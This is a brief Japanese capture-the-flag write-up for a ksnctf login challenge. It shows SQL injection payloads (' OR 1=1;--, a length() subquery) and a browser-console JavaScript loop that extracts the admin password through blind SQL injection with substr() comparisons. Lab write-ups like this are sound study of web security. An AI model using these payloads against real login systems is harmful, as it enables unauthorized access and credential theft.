http://ksnctf.sweetduet.info/problem/6
admin
でログインしろと言われるのでとりあえず、SQLインジェクション pass:' OR 1=1;--
- adminのpasswordがflagだと言われる
- passwordの長さを求める
pass:
' OR (SELECT length(pass) FROM user WHERE id='admin') < 22;--
- 21だと分かるので適当にconsoleでjsを書く
- jQuery読み込む
var jq = document.createElement('script');
jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js";
document.getElementsByTagName('head')[0].appendChild(jq);
- ajaxでpostして
Congratulations
が返ってきた場合に表示する
var flag = '';
var post = function(i, c){$.post(".",{id: "admin", pass: "' OR (SELECT substr (pass,"+i+",1) FROM user WHERE id='admin') = '"+c+"';--"}).done(function(data){if(data.includes("Congratulations")){flag+=c;console.log(i,c);}});}
- あとは待つだけ
for(j=1;j<22;j++)for(i=48;i<123;i++){post(j, String.fromCharCode(i))}
- flag
console.log(flag);